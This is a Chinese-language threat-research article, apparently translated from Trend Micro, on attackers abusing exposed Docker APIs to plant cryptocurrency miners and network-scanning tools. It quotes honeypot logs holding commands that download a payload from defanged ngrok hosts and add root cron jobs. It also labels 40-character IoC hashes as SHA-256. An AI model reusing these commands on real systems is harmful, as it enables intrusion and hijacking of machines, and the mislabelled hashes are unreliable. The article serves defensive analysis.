暴露的Docker控制API及社區版本映像檔,散布挖礦病毒

根據我們監控的容器(container)蜜罐系統(honeypot)資料分析,我們發現駭客利用Docker Hub上的社群版本容器映像檔來進行虛擬貨幣挖礦病毒活動。這份映像檔被利用來散布挖礦( coinmining )病毒惡意服務。同時會取得網路工具來對其他暴露的容器和應用程式進行橫向移動。

趨勢科技的蜜罐系統使用預設值建置,沒有設置任何安全措施或安裝其他軟體。請注意,Docker有提供最佳實作及建議來避免不良配置。捕捉到惡意活動的這套蜜罐系統是設計來接收針對容器平台本身的攻擊,而非是容器上的應用程式。

這波惡意活動的發現很重要,因為它不需要漏洞,也不依賴於於任何Docker版本。攻擊者只需要找到因配置不良而暴露在網路上的容器映像檔就可進行。

一旦Docker API暴露在網路上時,就可以讓人執行各種命令。包括列出執行中的容器;從特定容器取得日誌;啟動、停止或終止容器;甚至是用特定映像檔及選項來建立新容器。


圖1、如何散布惡意負載(左)視覺化攻擊者遠端部署映像檔的過程(右)

圖2、Shodan的搜尋結果顯示出3,762個暴露的Docker API國家/地區分佈(截至2019年2月12日)

攻擊鍊和惡意負載

我們不僅是透過監控蜜罐系統發現這些活動。最近的Shodan資料(圖2)也顯示暴露的Docker API數量自我們上次研究不良配置容器(被作為部署Monero挖礦病毒的跳板)後又有所增加。在去年10月,暴露的API編號只到856。

我們進一步檢視蜜罐系統日誌發現該容器映像檔還利用了ngrok,這是一套用來建立安全連線或將來自公開端點的流量轉至指定地址或資源(如本機)的工具。這讓攻擊者可以在派送惡意負載給暴露主機時動態建立網址。下面是蜜罐系統日誌內顯示的程式碼,可以看出攻擊者如何利用ngrok服務。

Tty: false

Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d \”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283\”;echo \”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d\” >/tmp9bedce/etc/crontab;echo \”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d\” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c \”cron || crond\””,

Entrypoint: “/bin/sh”

Tty: false,

Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d \”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283\”;echo \”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d\” >/tmp570547/etc/crontab;echo \”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d\” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c \”cron || crond\””,

Entrypoint: “/bin/sh”

Tty: false,

Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed \”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee\”;echo \”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed\” >/tmp326c80/etc/crontab;echo \”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed\” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c \”cron || crond\””,

Entrypoint: “/bin/sh”,

Tty: false,

Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed \”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee\”;echo \”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed\” >/tmp8b9b5b/etc/crontab;echo \”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed\” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c \”cron || crond\””,

Entrypoint: “/bin/sh”

如上所示,檔案從不斷變化的網址下載。網址生命週期也很短,所以惡意負載在過期後就無法下載。

有兩個惡意負載。第一個是連到礦池的Linux ELF執行檔格式的挖礦病毒(趨勢科技偵測為Coinminer.SH.MALXMR.ATNO)。第二個是用來取得網路工具的shell腳本(TrojanSpy.SH.ZNETMAP.A)。被用來掃描預先指定的網段範圍來尋找新目標。

攻擊時會設置兩個變數,之後用來部署虛擬貨幣挖礦病毒。變數HOST包含惡意檔案的網址,而變數RIP則是虛擬貨幣挖礦病毒的檔案名稱(即檔案雜湊值)。每次雜湊值變數改變時,變數HOST也會變更。部署腳本還會試著確保受感染主機上沒有運行其他的虛擬貨幣挖礦程式。



圖3、虛擬貨幣挖礦病毒部署時的HOST和RIP變數(上),腳本確保沒有其他虛擬貨幣挖礦程式執行的程式碼(中,下)

虛擬貨幣挖礦病毒在執行前會被重新命名為nginx。此腳本的其他版本會將挖礦程式重新命名為Linux環境內可找到的其他服務。這樣做是為了避免在列出執行中程序時被發現。

此腳本還有另一個值得注意的功能。它會用同一個網址服務來部署所需的工具。其中有一個名為zmap的Linux程式被用來掃描網路並取得開放端口。它還會下載不同程式來跟找到的服務互動,取得服務回應資訊以確認更多相關資訊(如服務版本)。

該腳本還會預先指定掃描的網段範圍,根據腳本版本不同而會有所不同。它會根據目標服務來預先指定端口 – 在本案例中是Docker。

一旦找到潛在目標,就會自動取得服務回應資訊。該腳本還會過濾目標來比對想攻擊的服務、應用程式、組件或平台:Redis、Jenkins、Drupal、MODX、Kubernetes Master、Docker客戶端版本1.16和Apache CouchDB。如果掃描主機比對到任何一個目標,就會將其存到一個文字檔中,讓攻擊者在將來用於進一步探索或入侵。這個文字檔會透過動態連結上傳到攻擊者的伺服器。這表示每個上傳的文字檔都使用不同的網址,使得想存取它們變得很困難。

如圖4和圖5的腳本片段所示,Docker映像檔被當作載體來散布攻擊。


圖4、虛擬貨幣挖礦病毒被更名跟合法服務一樣(上)以及如何用zmap掃描網路(下圖)


圖6、“alpine-curl”容器映像檔被下載超過1,000萬次

有一個Docker映像檔用Alpine Linux建立並帶有curl(一支高效能的命令列工具,可以用各種協定進行檔案傳輸)。如圖6所示,“curl”容器被下載了1,000萬次。這麼大量的下載可能是因為映像檔將curl用作容器進入點(ENTRYPOINT),其最後一次更新已經超過六個月前,在同一倉庫(repository)內的其他映像檔都沒有這樣的下載量。在Docker中,ENTRYPOINT是一組用來配置容器執行的指令。如果容器的ENTRYPOINT配置錯誤(即暴露到網路上),則可能會被利用成為攻擊載體。像是一旦駭客找到不良配置或暴露的容器在執行,就可以用它來派送惡意負載。

要注意的是,Docker映像檔(alpine-curl)本身並非惡意檔案。但如上所示,它被利用來執行惡意功能。類似的Docker映像檔也可能被利用來執行惡意活動。我們已就此問題與Docker聯繫並進行合作。

不良配置仍是許多組織長期面臨的挑戰,特別是採用DevOps,專注於快速開發和交付的組織。因為稽核、監控資料隱私法規的要求以及相應的可能巨額罰款讓此問題的影響變得更加嚴重。將自動化安全性整合進開發生命週期不僅有助於識別可能錯失的安全漏洞,也有助於減少多餘的工作(如開發許多版本只為了解決部署應用程式後所發現的錯誤配置或漏洞)。

本文討論的事件強調了設計始於安全的必要,以下是相關的建議:

趨勢科技協助DevOps團隊建構安全性、快速發布並且能夠在任何地方運行。趨勢科技的Hybrid Cloud Security解決方案為企業的DevOps管道(pipeline)提供強大、精簡和自動化的安全防護,同時整合多種趨勢科技的XGen安全防護技術威脅防禦技術來保護執行時期的實體、虛擬和雲端工作負載。還會透過趨勢科技趨勢科技HYPERLINK “https://t.rend.tw/?i=Mzc4MQ”Deep SecurityDeep Security Smart Check容器加多一層防護,Smart Check可在開發管道內的任何時間間隔掃描Docker容器映像檔是否有惡意軟體和漏洞,防止惡意威脅被部署。

入侵指標(IoC):

相關雜湊值(SHA-256):

  • 1bce7432f6c430e3a077562b3c43021674d958a3(Coinminer.SH.MALXMR.ATNO)
  • 5bab7cbb68c74d581370c5e10d3e13c6e3ac93bd(TrojanSpy.SH.ZNETMAP.A)

@原文出處:Exposed Docker Control API and Community Image Abused to Deliver Cryptocurrency-Mining Malware 作者:Alfredo Oliveira(趨勢科技資深威脅研究員)